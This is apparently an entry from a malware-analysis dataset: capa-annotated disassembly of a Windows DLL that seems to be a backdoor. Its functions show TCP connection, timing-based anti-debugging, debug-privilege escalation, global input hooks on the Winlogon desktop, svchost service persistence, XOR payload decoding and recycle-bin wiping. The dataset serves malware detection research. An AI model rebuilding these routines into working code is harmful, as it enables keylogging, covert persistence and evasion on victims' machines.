joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100047d0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns
Set socket configuration

Disassembly:
sub esp, 0x12c
xor eax, eax
push ebx
mov dword [esp + 6], eax
push ebp
mov dword [esp + 0xe], eax
push esi
push edi
mov dword [esp + 0x1a], eax
mov ecx, 0x40
lea edi, [esp + 0x39]
mov word [esp + 0x1e], ax
mov byte [esp + 0x38], al
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x140]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcpyA]
stosw word es:[edi], ax
lea edx, [esp + 0x38]
push ecx
push edx
mov word [esp + 0x18], 0
stosb byte es:[edi], al
call ebx
mov ebp, dword [sym.imp.WS2_32.dll_inet_addr]
lea eax, [esp + 0x38]
push eax
call ebp
cmp eax, 0xffffffff
jne 0x10004888
lea ecx, [esp + 0x38]
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x10004847
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x12c
ret
movsx ecx, word [eax + 0xa]
xor edx, edx
mov eax, dword [eax + 0xc]
mov dword [esp + 0x2a], edx
lea edi, [esp + 0x2c]
mov esi, dword [eax]
mov dword [esp + 0x2e], edx
mov dword [esp + 0x32], edx
mov word [esp + 0x36], dx
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x2c]
push eax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
lea ecx, [esp + 0x38]
push eax
push ecx
call ebx
lea edx, [esp + 0x38]
push edx
call ebp
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x144]
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov ebx, 1
push 0
push ebx
push 2
mov word [esp + 0x1e], ax
mov word [esp + 0x1c], 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x100048d1
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x12c
ret
lea ecx, [esp + 0x10]
push 0x10
push ecx
push esi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x100048f8
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x12c
ret
mov edi, dword [sym.imp.WS2_32.dll_setsockopt]
lea edx, [esp + 0x20]
push 4
push edx
push ebx
push 6
push esi
mov dword [esp + 0x34], ebx
call edi
test eax, eax
je 0x10004927
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x12c
ret
lea eax, [esp + 0x24]
push 4
push eax
push 8
push 0xffff
push esi
mov dword [esp + 0x38], ebx
call edi
test eax, eax
je 0x10004954
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x12c
ret
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x12c
ret
Function at 0x10004970
Capabilities:
Check os version

Disassembly:
sub esp, 0x94
push esi
push edi
mov ecx, 0x24
xor eax, eax
lea edi, [esp + 0xc]
xor esi, esi
rep stosd dword es:[edi], eax
mov dword [esp + 8], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp eax, 0x80000000
jae 0x100049f5
lea eax, [esp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [esp + 0xc], 5
jne 0x100049ea
mov eax, dword [esp + 0x10]
test eax, eax
jne 0x100049c4
pop edi
mov eax, 1
pop esi
add esp, 0x94
ret
cmp eax, 1
jne 0x100049d7
pop edi
mov eax, 2
pop esi
add esp, 0x94
ret
cmp eax, 2
jne 0x100049ea
pop edi
mov eax, 3
pop esi
add esp, 0x94
ret
pop edi
xor eax, eax
pop esi
add esp, 0x94
ret
mov eax, esi
pop edi
pop esi
add esp, 0x94
ret

Function at 0x10004a00
Capabilities:
Check for time delay via queryperformancecounter
Execute anti-debugging instructions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push edi
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GetPriorityClass]
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov ebx, eax
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
push 0x100
mov dword [ebp - 4], eax
call esi
push eax
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push 0xf
call edi
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
lea ecx, [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
push 0
push 0x10
push edx
push eax
call fcn.1000c520
mov ecx, dword [ebp - 0x14]
add eax, ecx
mov ecx, dword [ebp - 0x10]
adc edx, ecx
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], edx
rdtsc
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], edx
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 8]
cmp ecx, eax
jg 0x10004ab8
jl 0x10004a98
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0xc]
cmp edx, eax
jae 0x10004ab8
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 8]
cmp ecx, eax
jl 0x10004a98
jg 0x10004ab8
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0xc]
cmp edx, eax
jb 0x10004a98
rdtsc
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 4]
push eax
call edi
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push ebx
call esi
push eax
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x20]
sub ecx, edx
mov edx, dword [ebp - 0x18]
push 0
sbb edx, eax
push 0xf424
push edx
push ecx
call fcn.1000c520
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100063b0
Capabilities:
Check mutex on windows
Delete file
Get file size
Read file on windows

Disassembly:
sub esp, 0x8c
mov eax, dword [esp + 0x90]
push ebx
push esi
push edi
add ecx, 4
push eax
push 0x1f45
mov dword [esp + 0x1c], ecx
call fcn.10003760
test eax, eax
jne 0x100063e2
pop edi
pop esi
pop ebx
add esp, 0x8c
ret 4
mov ecx, 0x1f
xor eax, eax
lea edi, [esp + 0x19]
mov byte [esp + 0x18], 0
rep stosd dword es:[edi], eax
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
push 0x10010278
stosw word es:[edi], ax
lea ecx, [esp + 0x1c]
push str.Global_s_key_event
push ecx
stosb byte es:[edi], al
call esi
sub esp, 0xfffffff4
lea edx, [esp + 0x18]
push edx
push 0
push 0x1f0003
call dword [sym.imp.KERNEL32.dll_OpenEventA]
mov ebx, eax
test ebx, ebx
jne 0x10006435
pop edi
pop esi
pop ebp
add esp, 0x8c
ret 4
push 0x10010278
lea eax, [esp + 0x1c]
push str.Global_s_key_Metux
push eax
call esi
add esp, 0xc
lea ecx, [esp + 0x18]
push ecx
push 0
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
mov esi, eax
test esi, esi
mov dword [esp + 0xc], esi
jne 0x10006471
pop edi
pop esi
pop ebx
add esp, 0x8c
ret 4
mov edi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push ebp
push 0xffffffffffffffff
push ebx
call edi
test eax, eax
jne 0x10006564
jmp 0x1000648b
mov esi, dword [esp + 0x10]
push ebx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
xor ebp, ebp
push 0xffffffffffffffff
push esi
mov dword [esp + 0x1c], ebp
call edi
test eax, eax
jne 0x1000650f
push eax
push 0x80
push 3
push eax
push 1
push bind
push 0x10010406
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x10006504
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
test edi, edi
jbe 0x100064ec
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
lea edx, [esp + 0x14]
mov ebp, eax
push 0
push edx
push edi
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x10010406
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov edi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [esp + 0x14]
test eax, eax
jbe 0x1000654c
test ebp, ebp
je 0x1000654c
mov esi, dword [esp + 0x18]
push 0
push 0
push 0
mov ecx, esi
call fcn.10003a60
test eax, eax
je 0x1000655b
mov ecx, dword [esp + 0x14]
push 0
push ecx
push ebp
mov ecx, esi
call fcn.10003bd0
test eax, eax
je 0x1000655b
push ebp
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
push 0xffffffffffffffff
push ebx
call edi
test eax, eax
je 0x10006487
jmp 0x10006564
push ebp
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov edx, dword [esp + 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
call esi
push ebx
call esi
pop ebp
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x8c
ret 4
Function at 0x100068b0
Capabilities:
Create thread
Set global application hook

Disassembly:
push ebx
push ebp
push esi
push edi
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
push 0
push 0
push 1
push 0
mov dword [0x1000f6c8], eax
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
push 0x10006dd0
mov dword [0x1000f6cc], eax
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_GetThreadDesktop]
mov esi, dword [sym.imp.USER32.dll_OpenDesktopA]
push 0x2000000
push 0
push 0
push str.Default
mov ebx, eax
call esi
mov ebp, dword [sym.imp.USER32.dll_SetThreadDesktop]
test eax, eax
je 0x1000691c
push eax
call ebp
mov eax, dword [0x10010c10]
mov edi, dword [sym.imp.USER32.dll_SetWindowsHookExW]
test eax, eax
jne 0x10006941
mov eax, dword [0x1000f884]
push 0
push eax
push 0x10006630
push 4
call edi
mov dword [0x10010c10], eax
mov eax, dword [0x10010c0c]
test eax, eax
jne 0x10006961
mov ecx, dword [0x1000f884]
push 0
push ecx
push 0x10006590
push 3
call edi
mov dword [0x10010c0c], eax
push 0x2000000
push 0
push 0
push str.Winlogon
call esi
test eax, eax
je 0x10006978
push eax
call ebp
mov eax, dword [0x10010c14]
test eax, eax
jne 0x10006998
mov edx, dword [0x1000f884]
push 0
push edx
push 0x100067d0
push 3
call edi
mov dword [0x10010c14], eax
push ebx
call ebp
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x100069a0
Capabilities:
Write file on windows

Disassembly:
mov eax, dword [esp + 4]
push esi
push 0
push 0x80
push 4
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x100069c9
xor eax, eax
pop esi
ret
push 2
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 0xc]
lea ecx, [esp + 8]
push 0
push ecx
push edx
push eax
push esi
mov dword [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop esi
ret
Function at 0x10007380
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 8]
xor eax, eax
test edx, edx
jbe 0x1000739e
mov ecx, dword [esp + 4]
push ebx
mov bl, byte [eax + ecx]
xor bl, 0x12
mov byte [eax + ecx], bl
inc eax
cmp eax, edx
jb 0x1000738f
pop ebx
ret

Function at 0x10007430
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x108
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], 0
rep stosd dword es:[edi], eax
mov ecx, dword [0x1000f884]
push 0xc8
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x10]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
push 0x80
push 3
push 0
push 1
lea edx, [esp + 0x20]
push bind
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x10007493
pop edi
xor eax, eax
pop esi
add esp, 0x108
ret
push 2
push 0
push 0xffffefbc
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov edi, dword [esp + 0x114]
lea eax, [esp + 8]
push 0
push eax
push 0x1044
push edi
push esi
mov dword [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x1044
push edi
call fcn.10007380
add esp, 8
mov eax, 1
pop edi
pop esi
add esp, 0x108
ret

Function at 0x100075d0
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x10c
mov ecx, dword [esp + 0x114]
mov edx, dword [esp + 0x110]
lea eax, [esp]
push edi
push eax
push 0xf003f
push 0
push ecx
push edx
mov dword [esp + 0x18], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x1000760f
xor eax, eax
pop edi
add esp, 0x10c
ret
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edx, dword [esp + 0x11c]
lea ecx, [esp + 0xc]
stosb byte es:[edi], al
lea eax, [esp + 8]
mov dword [esp + 8], 0x104
push eax
mov eax, dword [esp + 8]
push ecx
push 0
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x10007666
mov ecx, dword [esp + 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
add esp, 0x10c
ret
mov ecx, dword [esp + 8]
mov edi, dword [esp + 0x120]
mov edx, ecx
push esi
lea esi, [esp + 0x10]
mov eax, dword [esp + 8]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
neg eax
sbb eax, eax
pop esi
inc eax
pop edi
add esp, 0x10c
ret

Function at 0x10007710
Capabilities:
Acquire debug privileges

Disassembly:
sub esp, 0x14
lea eax, [esp]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea ecx, [esp + 8]
push ecx
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov eax, dword [esp]
push 0
push 0
lea edx, [esp + 0xc]
push 0
push edx
push 0
push eax
mov dword [esp + 0x1c], 1
mov dword [esp + 0x28], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
add esp, 0x14
ret
Function at 0x100077c0
Capabilities:
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
push esi
push 0
push 0x80
push 3
push 0
push 1
push bind
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x100077e9
xor eax, eax
pop esi
ret
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 0xc]
lea ecx, [esp + 8]
push 0
push ecx
push edx
push eax
push esi
mov dword [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop esi
ret

Function at 0x10007820
Capabilities:
Delete file
Write file on windows

Disassembly:
push esi
mov esi, dword [esp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
push 0x80
push 1
push 0
push 0
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x10007850
xor eax, eax
pop esi
ret
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0xc]
lea eax, [esp + 8]
push 0
push eax
push ecx
push edx
push esi
mov dword [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop esi
ret

Function at 0x10007940
Capabilities:
Start service

Disassembly:
push esi
push edi
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
je 0x1000798f
mov eax, dword [esp + 0xc]
push 0xf01ff
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
jne 0x10007978
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
pop esi
ret
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
pop edi
pop esi
ret

Function at 0x100079a0
Capabilities:
Create service
Get common file path
Persist via windows service

Disassembly:
sub esp, 0x104
push ebx
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebx, eax
test ebx, ebx
jne 0x100079c7
or eax, 0xffffffff
pop ebx
add esp, 0x104
ret
push esi
push edi
mov ecx, 0x40
xor eax, edx
lea edi, [esp + 0xd]
mov byte [esp + 0xc], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0xc]
push 0xc8
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [esp + 0xc]
push str._svchost.exe__k
push ecx
call esi
mov edi, dword [esp + 0x114]
lea edx, [esp + 0xc]
push edi
push edx
call esi
push 0
mov ecx, dword [esp + 0x11c]
push 0
push 0
push 0
lea eax, [esp + 0x1c]
push 0
push eax
push 1
push 2
push 0x110
push 0xf01ff
push ecx
push edi
push ebx
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
je 0x10007a49
test eax, eax
push eax
call esi
push ebx
call esi
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x104
ret
Function at 0x10007a60
Capabilities:
Delete service

Disassembly:
push esi
push edi
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
jne 0x10007a7d
pop edi
or eax, 0xffffffff
pop esi
ret
mov eax, dword [esp + 0xc]
push 0xf01ff
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
jne 0x10007aa0
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
xor eax, eax
pop esi
ret
push esi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
pop edi
xor eax, eax
pop esi
ret

Function at 0x10007ac0
Capabilities:
Set registry value

Disassembly:
sub esp, 0x10c
mov edx, dword [esp + 0x110]
lea eax, [esp + 4]
lea ecx, [esp]
push eax
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push edx
push reloc.WS2_32.dll_bind
mov dword [esp + 0x24], 0
mov dword [esp + 0x28], 0
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x10007b5c
push edi
mov ecx, 0x40
lea edi, [esp + 0xd]
mov byte [esp + 0xc], al
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [esp + 0x118]
lea ecx, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea edx, [esp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [esp + 4]
inc eax
push eax
lea eax, [esp + 0x10]
push eax
push 2
push 0
push str.ServiceDll
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
add esp, 0x10c
ret

Function at 0x10007b70
Capabilities:
Set registry value

Disassembly:
sub esp, 8
mov edx, dword [esp + 0xc]
lea eax, [esp + 4]
lea ecx, [esp]
push eax
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push edx
push reloc.WS2_32.dll_bind
mov dword [esp + 0x24], 0
mov dword [esp + 0x28], 0
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x10007bd4
mov ecx, dword [esp]
lea eax, [esp + 0x10]
push 4
push eax
push 4
push 0
push str.start
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [esp]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
add esp, 8
ret
Function at 0x10007be0
Capabilities:
Set registry value

Disassembly:
sub esp, 0x10c
mov edx, dword [esp + 0x110]
lea eax, [esp + 4]
lea ecx, [esp]
push eax
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push edx
push reloc.WS2_32.dll_bind
mov dword [esp + 0x24], 0
mov dword [esp + 0x28], 0
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x10007c81
push ebp
mov ebp, dword [esp + 0x118]
push esi
push edi
push ebp
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x15]
mov byte [esp + 0x14], 0
push ebp
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x18]
inc esi
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 0xc]
lea ecx, [esp + 0x14]
push esi
push ecx
push 1
push 0
push str.Description
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
add esp, 0x10c
ret

Function at 0x10007c90
Capabilities:
Set registry value

Disassembly:
sub esp, 0x10c
lea eax, [esp + 4]
lea ecx, [esp]
push eax
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push str.SOFTWAReMICROSOFTWindows_NTCURRENTVERSIONSvcHost
push reloc.WS2_32.dll_bind
mov dword [esp + 0x24], 0
mov dword [esp + 0x28], 0
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x10007d25
push esi
push edi
mov ecx, 0x40
lea edi, [esp + 0x11]
mov byte [esp + 0x10], al
mov esi, dword [esp + 0x118]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea edx, [esp + 0x10]
push esi
push edx
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [esp + 8]
add eax, 2
push eax
lea eax, [esp + 0x14]
push eax
push 7
push 0
push esi
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [esp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
add esp, 0x10c
ret

Function at 0x10008130
Capabilities:
Get common file path

Disassembly:
push esi
mov esi, ecx
push edi
lea ecx, [esi + 0x10]
call fcn.10002ba0
lea edi, [esi + 0x124]
xor eax, eax
push edi
push 0xfa
mov dword [esi], 0x1000d3b8
mov dword [esi + 4], eax
mov dword [esi + 8], eax
mov dword [esi + 0xc], eax
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
push str._08x.tmP
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [eax + esi + 0x124]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov eax, esi
pop edi
pop esi
ret
Function at 0x100081b0
Capabilities:
Delete file

Disassembly:
push 0xffffffffffffffff
push 0x1000c9eb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, ecx
push edi
mov dword [esp + 8], esi
mov dword [esi], 0x1000d3b8
lea edi, [esi + 0x10]
mov dword [esp + 0x14], 0
mov ecx, edi
call fcn.10003880
mov eax, dword [esi + 0xc]
test eax, eax
je 0x100081f6
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
add esi, 0x124
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, edi
call fcn.10003880
mov ecx, edi
mov dword [esp + 0x14], 0xffffffff
call fcn.10002bf0
mov ecx, dword [esp + 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret

Function at 0x10008400
Capabilities:
Create thread

Disassembly:
mov eax, dword [ecx + 0xc]
mov ecx, dword [eax]
push ecx
push 0
push 0x10001f30
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0xc
ret

Function at 0x10008420
Capabilities:
Empty the recycle bin

Disassembly:
push esi
mov esi, ecx
mov eax, 0x77975b9
push edi
mul dword [esi + 8]
mov ecx, dword [esi + 0xc]
xor edi, edi
shr edx, 4
je 0x1000845f
push ebx
lea ebx, [ecx + 0x24]
push 3
push 0x1000f6d0
push ebx
push esi
call fcn.10009260
mov eax, 0x77975b9
add ebx, 0x224
mul dword [esi + 8]
inc edi
shr edx, 4
cmp edi, edx
jb 0x1000843a
pop ebx
push 7
push 0
push 0
call dword [sym.imp.SHELL32.dll_SHEmptyRecycleBinA]
pop edi
pop esi
ret

Function at 0x10008470
Capabilities:
Create directory

Disassembly:
push esi
mov esi, ecx
push 0
mov eax, dword [esi + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x1000848a
mov dword [esi + 4], 0x1b62
pop esi
ret

Function at 0x10008490
Capabilities:
Move file

Disassembly:
push esi
mov esi, ecx
mov eax, dword [esi + 0xc]
lea ecx, [eax + 0x400]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
jne 0x100084af
mov dword [esi + 4], 0x1b61
pop esi
ret